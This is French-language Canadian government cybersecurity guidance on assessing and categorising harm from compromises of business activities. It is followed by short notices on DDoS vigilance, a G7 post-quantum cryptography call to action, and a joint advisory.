Le niveau varie selon la sensibilité, le volume et le contexte des renseignements personnels. En plus des atteintes à la sécurité des renseignements personnels, un préjudice découlant de l'atteinte à la vie privée pourrait également résulter de la corruption de données personnelles et mener à des décisions erronées ou à une perturbation de services essentiels à l'accès à des prestations ou à du soutien. Cela est particulièrement important dans les systèmes essentiels à la sécurité ou essentiels aux services, comme les services de santé ou d'urgence. Les risques d'atteinte à la vie privée devraient être considérés parallèlement aux objectifs de confidentialité, d'intégrité et de disponibilité dans le cadre du processus de catégorisation du préjudice. Lorsque des renseignements personnels sont utilisés pour faciliter la prise de décisions administratives, une EFVP devrait être réalisée en plus des évaluations des risques et des menaces pour s'assurer que les activités et les contrôles de sécurité et de protection de la vie privée appropriés ont été sélectionnés.

5.1.4 Perspective adverse

Le processus d'évaluation et de catégorisation du préjudice exige la formulation de la compromission selon une perspective adverse. Les praticiennes et praticiens de la sécurité et de la protection de la vie privée devraient évaluer le préjudice en supposant qu'un auteur de menace a réussi à compromettre le système et envisager des scénarios où ce dernier aurait obtenu un plus grand contrôle. La plupart des organisations sous-estiment les préjudices potentiels, puisque leur approche au risque repose sur la bonne foi et des hypothèses raisonnables. Certains auteurs de menaces sont toujours prêts à adopter des comportements extraordinaires et moralement répréhensibles pour atteindre leurs objectifs.

Par exemple, on devrait considérer qu'un processus opérationnel, comme le fonctionnement des systèmes de maintien des fonctions vitales dans un hôpital, a le potentiel d'entraîner un préjudice grave à la santé des patientes et patients, ou même de causer des lésions corporelles ou des pertes de vie. Pour citer un autre exemple, un ministère doté d'un mandat de sécurité pourrait, advenant sa compromission, être utilisé par un criminel ou un outil hostile contrôlé par un auteur de menace, en contradiction totale avec son mandat.

La question qu'il convient de se poser est la suivante : Quel est le pire des scénarios?

5.1.5 Préjudice post-compromission

L'évaluation du préjudice doit reposer sur la présomption qu'une attaque fructueuse est survenue. À cette étape, on ne devrait pas tenir compte de la probabilité d'une menace ni de la présence de contrôles d'atténuation. Lors de l'évaluation du préjudice potentiel, même les scénarios jugés comme étant très peu probables doivent être envisagés comme s'ils s'étaient déjà concrétisés.

Par exemple, bien que le bombardement d'un centre de données puisse être considéré comme fort improbable, le préjudice qui en résulterait – la perte totale de toutes les fonctionnalités du site – reste un facteur valide à considérer dans l'évaluation. De même, l'existence de centres de données redondants ne réduit pas la gravité du préjudice à cette étape du processus.

La question qu'il convient de se poser est la suivante : Qu'advient-il si le pire des scénarios se concrétise?

 

Haut de la page 

5.2 Processus d'évaluation et de catégorisation du préjudice

Comme il est illustré dans la figure 3, le processus d'évaluation et de catégorisation du préjudice lié à une activité opérationnelle peut être résumé en cinq étapes :

1. Élaborer un tableau d'évaluation personnalisé du préjudice;
2. Déterminer les processus opérationnels et les biens d'information, dont les renseignements personnels, relatifs à l'activité opérationnelle;
3. Évaluer le préjudice prévu résultant d'une compromission de l'activité opérationnelle par une menace présumée et déterminer sa gravité en matière de confidentialité, d'intégrité et de disponibilité;
4. Déterminer la catégorie de préjudice de l'activité opérationnelle en identifiant le plus haut niveau de préjudice prévu en matière de confidentialité, d'intégrité et de disponibilité;
5. Préparer un rapport d'évaluation et de catégorisation du préjudice.

Description longue - Figure 3 : Processus d'évaluation et de catégorisation du préjudice

La figure présente un organigramme vertical illustrant le processus d'évaluation et de catégorisation du préjudice. Une colonne centrale unique montre les cinq étapes numérotées du processus, de haut en bas, chacune représentée par un rectangle bleu relié au suivant par une flèche descendante. Le processus commence par un ovale bleu intitulé « Début » et se termine par un ovale bleu intitulé « Fin ». À plusieurs étapes, des intrants apparaissent à gauche du diagramme et alimentent l'étape correspondante au moyen de flèches, tandis que les extrants sont représentés à droite sous forme d'encadrés blancs en forme de document. Chaque encadré des extrants comporte un petit cercle numéroté servant d'identificateur de référence permanent pour indiquer ultérieurement où cet extrant est réutilisé comme intrant.

The central sequence from top to bottom is:

• Début : un ovale intitulé « Début », suivi d'une flèche descendante menant à l'étape 1.
• Étape 1 : Élaborer le tableau d'évaluation du préjudice propre à l'organisation
  • Intrant à gauche : une étiquette rectangulaire intitulée « Documents organisationnels stratégiques » alimente l'étape 1.
  • Extrant à droite : un encadré en forme de document intitulé « Tableau d'évaluation du préjudice propre à l'organisation », identifié par un petit cercle portant le numéro 1. Il s'agit de l'extrant 1.
  • Remarque concernant la réutilisation : l'extrant 1 sert ultérieurement d'intrant à l'étape 3, comme l'indique le petit cercle 1 situé à gauche de cette étape.
• Étape 2 : Déterminer les processus organisationnels et les ressources informationnelles connexes
  • Intrant à gauche : une étiquette rectangulaire intitulée « Documentation sur les activités opérationnelles » alimente l'étape 2.
  • Extrant à droite : un encadré en forme de document intitulé « Processus opérationnels et information connexe », identifié par un petit cercle portant le numéro 2. Il s'agit de l'extrant 2.
  • Remarque concernant la réutilisation : l'extrant 2 sert ultérieurement d'intrant aux étapes 3 et 4, comme l'indique le petit cercle 2 situé à gauche de ces étapes.
• Étape 3 : Évaluer les préjudices découlant des compromissions liées aux menaces
  • Intrants à gauche :
    • deux sources rectangulaires alimentent l'étape 3 et sont intitulées « Évaluations des répercussions » et « Instruments réglementaires ».
    • les cercles 1 et 2, représentant respectivement les extrants 1 et 2, alimentent également cette étape. Ils indiquent que le tableau d'évaluation du préjudice propre à l'organisation, ainsi que les processus opérationnels et l'information connexe recensés, sont utilisés dans l'évaluation des préjudices.
  • Extrants à droite :
    • un encadré intitulé « Préjudices attendus découlant des compromissions liées aux menaces » est identifié par un cercle 3. Il s'agit de l'extrant 3.
    • un second encadré intitulé « Niveau de préjudice par rapport à la CID » est identifié par le cercle 4. Il s'agit de l'extrant 4.
  • Remarque concernant la réutilisation : les extrants 3 et 4 servent ultérieurement d'intrants à l'étape 4, comme l'indiquent les petits cercles 3 et 4 situés à gauche de cette étape.
• Étape 4 : Déterminer la catégorie de préjudice associée à chaque activité opérationnelle
  • Intrants à gauche :
    • une colonne verticale composée des cercles 2, 3 et 4 indique la réutilisation des extrants 2, 3 et 4 pour déterminer la catégorie de préjudice.
  • Extrant à droite :
    • un encadré intitulé « Catégorie du niveau maximal de préjudice associé à chaque activité opérationnelle » est identifié par le cercle 5. Il s'agit de l'extrant 5. L'expression « catégorie du niveau maximal » indique que la catégorie retenue correspond au niveau de gravité le plus élevé attendu parmi les critères de confidentialité, d'intégrité et de disponibilité.
  • Remarque concernant la réutilisation : l'extrant 5 sert d'intrant à l'étape 5, comme l'indique le petit cercle 5 situé à gauche.
• Étape 5 : Préparer le rapport de catégorisation du préjudice
  • Intrants à gauche : une série verticale de cercles 1, 2, 3, 4 et 5 indique que le rapport final regroupe l'ensemble des extrants précédents : extrant 1 (tableau propre à l'organisation), extrant 2 (processus opérationnels et information), extrant 3 (préjudices attendus), extrant 4 (niveau de préjudice par rapport à la CID) et extrant 5 (catégorie du niveau maximal de préjudice).
  • Aucun encadré d'extrant n'est représenté à droite; le processus se poursuit jusqu'à la fin.
• Fin : un ovale intitulé « Fin », situé sous l'étape 5, marque la conclusion du processus.

Remarque propre au GC

L'objectif du processus de catégorisation de la sécurité est de déterminer la sensibilité et la criticité des activités opérationnelles en fonction d'un test de préjudice. Il s'agit d'un objectif similaire à celui du questionnaire d'évaluation de la sensibilité que l'on retrouve dans l'énoncé de sensibilité (ES) de plusieurs ministères et organismes. Un ES comprend les types de biens d'information stockés et traités par un système d'information, ainsi que la classification de cette information (par exemple, PROTÉGÉ B). L'ES collecte également l'importance générale de l'intégrité, ainsi que la criticité du programme ou des services, laquelle est souvent exprimée en tant que durée maximale d'indisponibilité permise.

Bien que le préjudice se reflète dans la mention de classification de l'information, le processus de catégorisation de la sécurité énonce clairement le test de préjudice en matière de confidentialité. Par ailleurs, le processus de catégorisation de la sécurité étend ces tests de préjudice explicites à l'intégrité et à la disponibilité. Il en résulte une mention de sécurité qui reflète le niveau attendu de préjudice pour la confidentialité, l'intégrité et la disponibilité (par exemple, PROTÉGÉ B, intégrité moyenne, disponibilité moyenne ou PBMM).

Dans les ministères et les organismes où le processus d'ES est bien établi depuis plusieurs années, le fait d'abandonner entièrement ce processus familier pourrait ne pas constituer la meilleure approche à adopter pour faciliter la transition vers le processus de catégorisation de la sécurité. Les ministères et les organismes pourraient tirer avantage de la familiarité et de l'acceptabilité suscitées par leur processus d'ES et intégrer tout simplement un test de préjudice dans les sections de leur questionnaire d'évaluation de la sensibilité traitant de la confidentialité, de l'intégrité et de la disponibilité.

 

Haut de la page 

5.3 Description du processus d'évaluation et de catégorisation du préjudice

L'organisation devrait mettre en place un groupe de travail dédié à l'exécution efficace du processus d'évaluation et de catégorisation du préjudice. Ce groupe devrait généralement comprendre des membres de la haute direction exerçant des responsabilités opérationnelles, des responsables principales et principaux de la sécurité (comme la ou le DPS ou des personnes déléguées), les responsables principales et principaux de la protection de la vie privée (comme la ou le CPRP ou des personnes déléguées), des conseillères et conseillers en sécurité et en protection de la vie privée, et des analystes des activités. Selon l'organisation et le contexte, d'autres rôles pourraient comprendre une ou un responsable de la gestion des risques, une conseillère ou un conseiller juridique, une agente ou un agent de la conformité, des architectes de la sécurité et de la protection de la vie privée, et une ou un responsable des communications et des relations publiques.

5.3.1 Élaborer le tableau d'évaluation du préjudice propre à l'organisation

En ce qui concerne l'évaluation et la catégorisation du préjudice, les organisations devraient créer leurs propres tableaux des préjudices. De petites organisations n'ayant qu'un seul ou un petit nombre de programmes servant des intérêts communs peuvent n'avoir qu'un seul tableau des préjudices, tandis que des organisations ayant plusieurs programmes servant différents intérêts peuvent en avoir plusieurs. Si les seuils financiers sont intégrés dans le tableau personnalisé des préjudices, les sommes exprimées en dollars devraient être proportionnelles au budget global de l'organisation afin d'assurer la pertinence selon le contexte. Par exemple, dans le GC, les intérêts servis par le programme Administration des pensions fédérales de Services publics et Approvisionnement Canada (SPAC) sont fort différents de ceux servis par les Services linguistiques de SPAC.

Pour développer un tableau d'évaluation du préjudice propre à l'organisation qui permettra d'éclairer les futures évaluations des risques, il est recommandé de consulter les documents organisationnels stratégiques, comme les plans d'activités, les engagements en matière de rendement et les cadres d'établissement des priorités, sur lesquels reposent les objectifs et les obligations de l'organisation. Les analystes des activités devraient prendre part activement à ce processus, puisqu'elles et ils possèdent des connaissances contextuelles essentielles et peuvent aider à définir des scénarios de préjudice réalistes et pertinents. Des sources additionnelles, comme les rapports réglementaires, les rapports de parties prenantes et les résultats d'audits internes, peuvent également fournir de l'information précieuse sur les incidences et les priorités organisationnelles.

Le tableau 2 contient des exemples de types et de niveaux de préjudice qui aideront les ministères du GC à élaborer leurs tableaux. Les ministères ne devraient inclure dans leurs tableaux des préjudices que les types et les niveaux qui se rapportent aux intérêts que visent à satisfaire leurs programmes, leurs services et leurs activités.

Tableau 2 : Exemples de types et de niveaux de préjudice (dans le contexte du GC)

Type de préjudice	Niveau de préjudice très faible	Niveau de préjudice faible	Niveau de préjudice modéré	Niveau de préjudice élevé	Niveau de préjudice très élevé
Agitation ou désordre civil	Préjudice négligeable ou aucun préjudice raisonnable prévu	Désobéissance civile, entraves publiques	Émeute	Sabotage de biens indispensables (par exemple, des infrastructures essentielles)	Désordre civil à grande échelle ou actes de sabotage nécessitant l'imposition de la loi martiale
Préjudice physique causé aux personnes	Préjudice négligeable ou aucun préjudice raisonnable prévu	Inconfort physique	Douleurs physiques, blessures, traumatisme, difficultés, maladie	Incapacité physique, décès	Lourdes pertes de vie
Préjudice psychologique causé aux personnes	Préjudice négligeable ou aucun préjudice raisonnable prévu	Stress	Détresse psychologique	Trouble de santé mentale	Préjudice psychologique généralisé ou grave
Perte financière pour des particuliers	Préjudice négligeable ou aucun préjudice raisonnable prévu	Stress ou inconfort	Baisse de la qualité de vie	Perte de sécurité financière	Sans objet
Perte financière pour des entreprises canadiennes	Préjudice négligeable ou aucun préjudice raisonnable prévu	Baisse de rendement	Réduction de la compétitivité	Perte de viabilité	Sans objet
Perte financière pour le gouvernement du Canada	Préjudice négligeable ou aucun préjudice raisonnable prévu	Baisse de rendement d'un programme	Détérioration des résultats d'un programme	Perte de viabilité du programme	Perte de viabilité des principaux programmes
Préjudice causé à l'économie canadienne	Sans objet	Sans objet	Baisse de rendement	Baisse de compétitivité à l'échelle internationale	Compromission des secteurs économiques clés
Préjudice causé à la réputation du Canada	Préjudice négligeable ou aucun préjudice raisonnable prévu	Perte de la confiance du public canadien	Embarras (au Canada ou à l'étranger)	Relations fédérales-provinciales compromises	Relations diplomatiques et internationales compromises
Perte de la souveraineté canadienne	Sans objet	Sans objet	Entraves à l'établissement de politiques gouvernementales importantes	Entraves à l'application efficace de la loi Cessation des activités du gouvernement	Perte de la souveraineté territoriale

Le tableau 3 présente des exemples des types et des niveaux de préjudice qui sont les plus généralement applicables. Les organisations ne devraient inclure dans leurs tableaux des préjudices que les types et les niveaux qui se rapportent aux intérêts que visent à satisfaire leurs programmes, leurs services et leurs activités.

Tableau 3 : Exemples de types et de niveaux de préjudice

Type de préjudice	Niveau de préjudice très faible	Niveau de préjudice faible	Niveau de préjudice modéré	Niveau de préjudice élevé	Niveau de préjudice très élevé
Protestation contre l'organisation	Préjudice négligeable ou aucun préjudice raisonnable prévu	Désobéissance civile, entraves publiques	Émeute	Destruction de biens immobiliers	Sans objet
Préjudice physique causé aux personnes	Préjudice négligeable ou aucun préjudice raisonnable prévu	Inconfort physique	Douleurs physiques, blessures, traumatisme, difficultés, maladie	Incapacité physique, décès	Lourdes pertes de vie
Préjudice psychologique causé aux personnes	Préjudice négligeable ou aucun préjudice raisonnable prévu	Stress	Détresse psychologique	Trouble de santé mentale	Préjudice psychologique généralisé ou grave
Perte financière pour des particuliers	Préjudice négligeable ou aucun préjudice raisonnable prévu	Stress ou inconfort	Baisse de la qualité de vie	Perte de sécurité financière	Sans objet
Perte financière pour l'organisation	Préjudice négligeable ou aucun préjudice raisonnable prévu	Baisse de rendement	Réduction de la compétitivité	Perte de viabilité	Faillite
Mesures juridiques ou réglementaires prises contre l'organisation	Aucune mesure juridique ou réglementaire anticipée Avertissements	Amendes minimes Frais de dédommagement minimes	Amendes modérées Ordres d'arrêt des travaux Frais de dédommagement modérés	Amendes importantes Révocation temporaire des permis Limitation des activités Frais de dédommagement importants	Amendes sévères Révocation permanente des permis Ordonnance de cessation des activités
Poursuites civiles	Aucune attente raisonnable ou négligeable de responsabilité Règlement à l'amiable pour un montant symbolique	Responsabilité minimale Règlement à l'amiable	Responsabilité modérée Indemnisation	Responsabilité importante Procès très médiatisé Indemnités financières importantes	Responsabilité lourde Recours collectif Sanctions financières importantes Perte de confiance de la clientèle
Atteinte à la réputation	Préjudice négligeable ou aucun préjudice raisonnable prévu	Incidence minimale sur la réputation Coûts minimaux de gestion de la réputation Faible couverture négative dans les médias et sur les réseaux sociaux	Incidence modérée sur la réputation exigeant des mesures correctives Hausse des coûts liés à la fidélisation et à l'acquisition de clients Couverture négative soutenue dans les médias et sur les réseaux sociaux	Préjudice notable à la réputation exigeant des mesures correctives immédiates Coûts importants liés à la fidélisation et à l'acquisition de clients Couverture étendue et persistante dans les médias et les réseaux sociaux Perte de clientèle attendue	Atteinte à la réputation grave et potentiellement irréparable Perte de clients stratégiques Déclin à long terme de la réputation de la marque

5.3.2 Déterminer les processus organisationnels et les ressources informationnelles connexes

La deuxième étape du processus d'évaluation et de catégorisation du préjudice vise à déterminer les processus organisationnels et les biens d'information connexes, dont les renseignements personnels, qui sont pertinents pour l'activité opérationnelle.

Plusieurs sources peuvent servir à déterminer et à décrire les processus opérationnels et les biens d'information connexes. Les bonnes sources à consulter comprennent :

• les analyses de rentabilisation;
• les CONOPS;
• les exigences fonctionnelles des activités;
• la documentation de l'architecture d'entreprise qui inclut normalement une description des processus opérationnels et des biens d'information connexes de l'organisation;
• les discussions ou les entrevues avec des analystes des activités et d'autres personnes des communautés d'affaires connexes.

Le résultat de cette étape est une brève description des processus opérationnels et des biens d'information connexes qui sont pertinents pour les activités opérationnelles.

5.3.3 Évaluer les préjudices découlant d'une compromission liée aux menaces

La troisième étape du processus est l'évaluation du préjudice. L'objectif est de déterminer le préjudice potentiel des compromissions liées aux menaces pour chaque processus opérationnel et bien d'information relevé à l'étape précédente. Pour ce faire, on doit d'abord déterminer les préjudices qui sont susceptibles de survenir si des auteurs de menace arrivent à compromettre la confidentialité, l'intégrité et la confidentialité des processus opérationnels et des biens d'information connexes, puis y attribuer les niveaux appropriés.

En règle générale, la confidentialité, l'intégrité et la disponibilité s'appliquent aux biens d'information, tandis que l'intégrité et la disponibilité s'appliquent aux processus opérationnels. Dans le GC, la confidentialité peut s'appliquer aux processus opérationnels dans certaines situations exceptionnelles où la sécurité nationale ou la défense nationale sont en cause. Dans le secteur privé, ces exceptions concerneraient habituellement les secrets commerciaux.

Les niveaux de préjudice qui s'appliquent aux activités opérationnelles peuvent déjà être documentés dans les éléments livrables, comme les analyses des répercussions sur les activités, les EFVP, les ES, les évaluations des risques organisationnels et les EMR. Il peut également s'avérer utile de passer en revue les instruments réglementaires, comme les lois, les politiques et la réglementation qui pourraient s'appliquer à des processus opérationnels ou à de l'information en particulier. Dans certaines circonstances, le non-respect de ces exigences réglementaires pourrait entraîner des mesures punitives ou des sanctions susceptibles de causer un préjudice. Les organisations peuvent tirer avantage de cette information lorsqu'elles évaluent les préjudices associés à l'échec de leurs activités opérationnelles.

Au moment d'évaluer les préjudices, les praticiennes et praticiens de la sécurité devraient tenir compte de plusieurs facteurs pouvant influer sur les résultats, ce qui comprend l'agrégation, l'inférence et l'interdépendance.

5.3.3.1 Agrégation

À mesure que le nombre de biens augmente, le préjudice résultant d'une compromission peut augmenter également. Par exemple, la divulgation non autorisée d'un seul dossier du personnel peut causer un certain embarras à la personne concernée et amener le public à s'inquiéter de la capacité de l'organisation de protéger les renseignements personnels. Cela dit, si tous les dossiers des ressources humaines d'une grande société étaient divulgués de façon inopportune, les répercussions négatives pourraient être considérablement pires.

Du point de vue de la confidentialité, l'agrégation a deux dimensions :

• la sensibilité a tendance à augmenter avec le nombre de données ajoutées à un dossier;
• la sensibilité a tendance à augmenter avec le nombre de dossiers réunis dans un fichier ou une base de données.

Dans chaque cas, la valeur de confidentialité de l'ensemble peut être plus grande que celle de ses diverses parties en raison du préjudice accru que causerait leur divulgation non autorisée.

L'agrégation s'applique aussi aux valeurs de disponibilité et d'intégrité. Par exemple, la destruction d'un bien (comme un seul véhicule), peut entraîner des conséquences clairement définies, alors que la perte de tout un parc serait beaucoup plus sérieuse. La modification non autorisée d'un seul dossier ou la corruption complète d'une grande base de données serait l'équivalent sur le plan de l'intégrité.

5.3.3.2 Inférence

De par sa nature même, l'inférence ne s'applique qu'à la confidentialité, car l'accès à des données en apparence inoffensives dont la sensibilité est faible ou nulle peut permettre à une personne avertie de tirer des conclusions beaucoup plus préjudiciables sur les capacités ou les intentions d'une autre organisation. Par exemple, l'étude des mouvements de personnel afin d'identifier les qualifications et les affiliations des cadres supérieures et supérieurs ou d'autres employées et employés sélectionnés pour différents postes peut fournir des indicateurs utiles de futurs programmes stratégiques ou plans opérationnels.

Malheureusement, la relation entre différentes données et sources de données peut être très subtile, ténue même, de sorte que les occasions d'inférence sont généralement beaucoup plus difficiles à identifier et à évaluer. D'un point de vue pratique, l'inférence doit être évaluée avec prudence, car les scénarios complexes peuvent exagérer le risque et donner lieu à une surclassification inutile. Les scénarios d'inférence qui soulèvent des préoccupations sont ceux où les agrégations dans un système de sécurité non nationale donnent lieu à des préjudices envers la sécurité nationale.

5.3.3.3 Interdépendance

Les interdépendances font en sorte que la perte ou la dégradation d'un processus opérationnel et de son information peut influer sur les autres processus et biens d'information. Le but de l'analyse des interdépendances est de déterminer s'il est possible qu'un effet de cascade important résultant de la compromission d'un processus opérationnel ou d'une information ait une incidence sur un autre processus ou une autre information.

Comme pour le problème d'agrégation, le préjudice qui pourrait résulter de la perte successive d'un élément peut être plus grand que le niveau de préjudice attribué à chacun des éléments individuellement. Parmi les types d'interdépendances, on retrouve :

• l'interdépendance physique (par exemple, le matériel produit par une infrastructure que l'on utilise sur une autre);
• l'interdépendance géographique (par exemple, un couloir commun);
• l'interdépendance logique (par exemple, une dépendance découlant des marchés financiers).

Cette étape génère une liste des préjudices prévus et des niveaux de préjudice pour la confidentialité, l'intégrité et la disponibilité selon les processus opérationnels et les biens d'information connexes.

Remarque propre au GC

Pour assurer l'uniformité au sein des ministères et entre ces derniers, les praticiennes et praticiens de la sécurité et de la protection de la vie privée devraient adopter un schéma commun de marquage pour la catégorisation. À titre indicatif, il est recommandé de présenter les catégories de préjudice selon le format de marquage suivant :

• Confidentialité : Niveau protégé ou classifié
• Intégrité : Très faible, Faible, Modéré, Élevé, Très élevé
• Disponibilité : Très faible, Faible, Modéré, Élevé, Très élevé

Par exemple : PROTÉGÉ B, intégrité moyenne, disponibilité moyenne (PBMM)

5.3.4 Déterminer la catégorie de préjudice associée à chaque activité opérationnelle

La quatrième étape du processus d'évaluation et de catégorisation du préjudice consiste à déterminer la catégorie de préjudice de chaque activité opérationnelle.

Dans des circonstances normales, la catégorie de préjudice d'une activité opérationnelle devrait indiquer les niveaux de préjudice les plus élevés de tous les processus et biens d'information connexes pour chacun des objectifs de sécurité. Individuellement, on peut attribuer différents niveaux de préjudice à ces éléments en fonction d'un objectif de protection donné. Par exemple, une activité opérationnelle peut comporter un type d'information avec un niveau de préjudice évalué à Faible pour la confidentialité, et un autre type d'information avec un niveau de préjudice évalué à Modéré pour le même objectif de sécurité (les deux pour des intérêts non nationaux). Ces valeurs individuelles sont importantes et devraient être documentées. La catégorie de préjudice de l'activité opérationnelle devrait toutefois refléter le niveau le plus élevé de préjudice. Dans l'exemple précédent, le niveau de confidentialité de l'activité opérationnelle serait établi à « Modéré ».

Cela dit, une analyse plus poussée pourrait être nécessaire dans certaines circonstances pour déterminer la catégorie de préjudice la plus appropriée. Par exemple, des praticiennes et praticiens de la sécurité ou de la protection de la vie privée peuvent attribuer un niveau plus élevé que le point de référence « Élevé » en raison de l'effet combiné des compromissions résultant d'une menace ou d'une interdépendance envers un processus essentiel qui ne relève pas de l'activité opérationnelle.

Cette étape permet d'attribuer une catégorie de préjudice à chaque activité opérationnelle, laquelle peut être exprimée au moyen du même format de marquage de la catégorisation employé pour les processus opérationnels et l'information.

5.3.5 Préparer le rapport de catégorisation du préjudice

La dernière étape du processus d'évaluation et de catégorisation du préjudice consiste à préparer le rapport à cet égard.

Les praticiennes et praticiens de la sécurité et de la protection de la vie privée devraient résumer dans un rapport les résultats de l'évaluation du préjudice aux fins de la reddition de compte et afin d'être pris en compte dans l'élaboration du profil d'activités et de contrôles organisationnels en matière de sécurité et de protection de la vie privée. Pour chaque processus opérationnel et information connexe, le rapport de catégorisation du préjudice devrait comprendre ce qui suit :

• une brève description du processus opérationnel et du ou des biens d'information connexes;
• une description des préjudices prévus découlant des compromissions associées à chaque menace;
• les niveaux de préjudice prévu en ce qui a trait aux atteintes à la confidentialité, à l'intégrité et à la disponibilité;
• la justification de l'attribution des niveaux de préjudice.

5.4 Exemples

Il existe une feuille de calcul comportant des exemples simples qui faciliteront la représentation du processus d'évaluation et de catégorisation du préjudice pour les activités opérationnelles. Pour demander une copie de cette feuille de calcul, prière de communiquer avec le Centre d'appel.

Conversion des niveaux de préjudice du gouvernement du Canada

D'autres cadres d'évaluation du préjudice peuvent utiliser une échelle à trois niveaux (Faible, Modéré et Élevé) plutôt que l'échelle à cinq niveaux décrite dans la présente publication. Lorsque c'est le cas, les ministères peuvent utiliser les conversions d'échelle indiquées dans les tableaux 4, 5 et 6 pour convertir les niveaux de préjudice de leur échelle à trois ou quatre niveaux à l'échelle à cinq niveaux présentée dans l'ITSP.10.036.

Dans le tableau de conversion 6, la catégorie « Faible » de l'échelle à trois niveaux de préjudice peut correspondre à « Très faible » ou « Faible » sur l'échelle à cinq niveaux, tandis que la catégorie « Élevé » peut correspondre à « Élevé » ou « Très élevé ». Pour assurer une catégorisation appropriée, il est recommandé de revoir l'évaluation du préjudice en fonction de l'échelle à cinq niveaux directement, tout en tenant compte du contexte particulier et du niveau de granularité voulu.

Le Centre de la sécurité des télécommunications Canada (CST) et son Centre canadien pour la cybersécurité (Centre pour la cybersécurité) continuent d’exhorter les organisations canadiennes à faire preuve de vigilance durant les périodes de tensions géopolitiques accrues et lors d’événements de grande envergure.

Bien que des cyberactivités malveillantes puissent survenir à tout moment, les organisations devraient être particulièrement vigilantes durant ces périodes, qui peuvent attirer l’attention d’auteurs de cybermenaces, y compris de personnes ou de groupes motivés par des considérations idéologiques qui ciblent des organisations qu’ils perçoivent comme des adversaires. Ces auteurs de cybermenaces peuvent tenter de perturber les services, de défigurer des sites Web, d’attirer l’attention médiatique ou de miner la confiance envers les institutions et les organisations.

Les menaces peuvent comprendre des attaques par déni de service distribué (DDoS) visant les sites Web publics et les services en ligne, ainsi que la défiguration de sites Web et d’autres activités perturbatrices. Ces attaques peuvent perturber les activités opérationnelles, entraîner des pertes financières, nuire à la réputation des organisations et réduire l’accès à des services essentiels. Elles peuvent également servir à détourner l’attention des équipes de défense afin de masquer d’autres cyberactivités malveillantes menées simultanément contre une organisation.

Toutes les organisations canadiennes, particulièrement les fournisseurs de services essentiels et les exploitants d’infrastructures essentielles, devraient évaluer leur posture de cybersécurité et consulter les ressources suivantes du Centre pour la cybersécurité.

• Lisez la Déclaration du Centre pour la cybersécurité concernant une campagne d’attaques par déni de service distribué ciblant de multiples secteurs canadiens
• Adoptez la Boîte à outils des objectifs intersectoriels relatifs à l’état de préparation en matière de cybersécurité
• Consultez les 10 mesures de sécurité des TI visant à protéger les réseaux Internet et l’information
• Prenez connaissance des avis et des conseils suivants et appliquez-les :
  • Défense contre les attaques par déni de service distribué (DDoS)
  • Prévenir les attaques par déni de service distribué et s’y préparer
  • Campagne d’attaques par déni de service distribué ciblant de multiples secteurs canadiens
  • Défiguration de site Web
  • Élaborer un plan d’intervention en cas d’incident
  • Considérations en matière de sécurité pour les infrastructures essentielles
  • Protéger vos technologies opérationnelles
  • Conseils conjoints concernant les principes de cybersécurité pour les technologies opérationnelles
  • Bulletin conjoint sur l’isolation des systèmes essentiels
• Prenez connaissance de l’Initiative Résilience des infrastructures essentielles face à l’intensification des menaces

Le Centre pour la cybersécurité poursuit sa collaboration étroite avec le gouvernement, les exploitants d’infrastructures essentielles, les partenaires de l’industrie et ses alliés internationaux afin de surveiller l’environnement de cybermenaces et de contribuer à la protection des systèmes et réseaux canadiens.

Les organisations devraient prendre dès maintenant des mesures pour renforcer leurs cyberdéfenses et signaler rapidement au Centre pour la cybersécurité tout cyberincident ou toute cyberactivité suspecte au moyen de notre portail en ligne.

Le Canada se joint à ses partenaires du Groupe de travail sur la cybersécurité du G7 pour publier le document intitulé Se préparer à l’ère post-quantique : un appel à l’action, une publication conjointe qui met en lumière les risques croissants que l’informatique quantique fait peser sur la cryptographie à clé publique actuellement utilisée et qui exhorte les organisations à amorcer dès maintenant leur transition vers la cryptographie post-quantique (CPQ).

La publication souligne que, bien que l’échéancier pour l’arrivée d’ordinateurs quantiques dotés de capacités cryptographiques (OQCC) demeure incertain, les organisations sont déjà exposées à des risques immédiats, notamment les attaques de type « récolter maintenant, déchiffrer plus tard ». Dans le cadre de ces attaques, les auteurs de menace recueillent dès maintenant des données chiffrées dans l’intention de les déchiffrer ultérieurement à l’aide de capacités d’informatique quantique. La publication met également en garde contre le fait que les attaques axées sur l’informatique quantique pourraient compromettre les mécanismes d’authentification, permettant ainsi à des auteurs de menace de personnifier des entités de confiance, de falsifier des données et de porter atteinte à la sécurité des communications.

La publication recommande plusieurs moyens de soutenir une transition mondiale coordonnée vers la CPQ. Afin d’aider les organisations et les gouvernements à se préparer à cette transition, la publication présente cinq domaines d’action prioritaires :

• sensibiliser aux risques de cybersécurité liés à l’informatique quantique et aux avantages de la CPQ;
• élaborer des stratégies nationales visant à soutenir l’adoption et la disponibilité des technologies de CPQ;
• faire progresser la recherche et le développement afin de soutenir l’innovation et le déploiement concret de solutions de CPQ;
• renforcer les partenariats public-privé afin de favoriser le partage de l’expertise, des ressources et des pratiques exemplaires;
• intégrer la CPQ aux exigences en matière de cybersécurité.

La publication invite les organisations des secteurs public et privé à adopter une approche progressive fondée sur les risques pour la migration vers la cryptographie post-quantique. Cela comprend l’inventaire des biens cryptographiques, l’identification des systèmes essentiels, la cartographie des dépendances ainsi que l’élaboration de plans de transition visant à protéger les données sensibles et l’infrastructure numérique.

Consultez la version intégrale de la publication : Se préparer à l’ère quantique : un appel à l’action

Pour en savoir plus

• Déclaration du groupe de travail sur la cybersécurité du G7 concernant la préparation d’une migration vers la cryptographie post-quantique
• Préparez votre organisation à la menace que pose l’informatique quantique pour la cryptographie (ITSAP.00.017) - Centre canadien pour la cybersécurité
• Feuille de route pour la migration vers la cryptographie post-quantique au sein du gouvernement du Canada (ITSM.40.001)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) s’est joint à la Cybersecurity and Infrastructure Security Agency (CISA) et aux partenaires étrangers suivants pour diffuser des conseils en matière de cybersécurité sur les pratiques exemplaires applicables par les fournisseurs de services lors de communications sous pression :

• l’Australian Cyber Security Centre (ACSC) de l’Australian Signals Directorate (ASD) de l’Australie;
• le National Cyber Security Centre de la Nouvelle-Zélande (NCSC-NZ);
• le National Cyber Security Centre (NCSC-UK) du Royaume-Uni;
• le Federal Bureau of Investigation (FBI) des États-Unis.

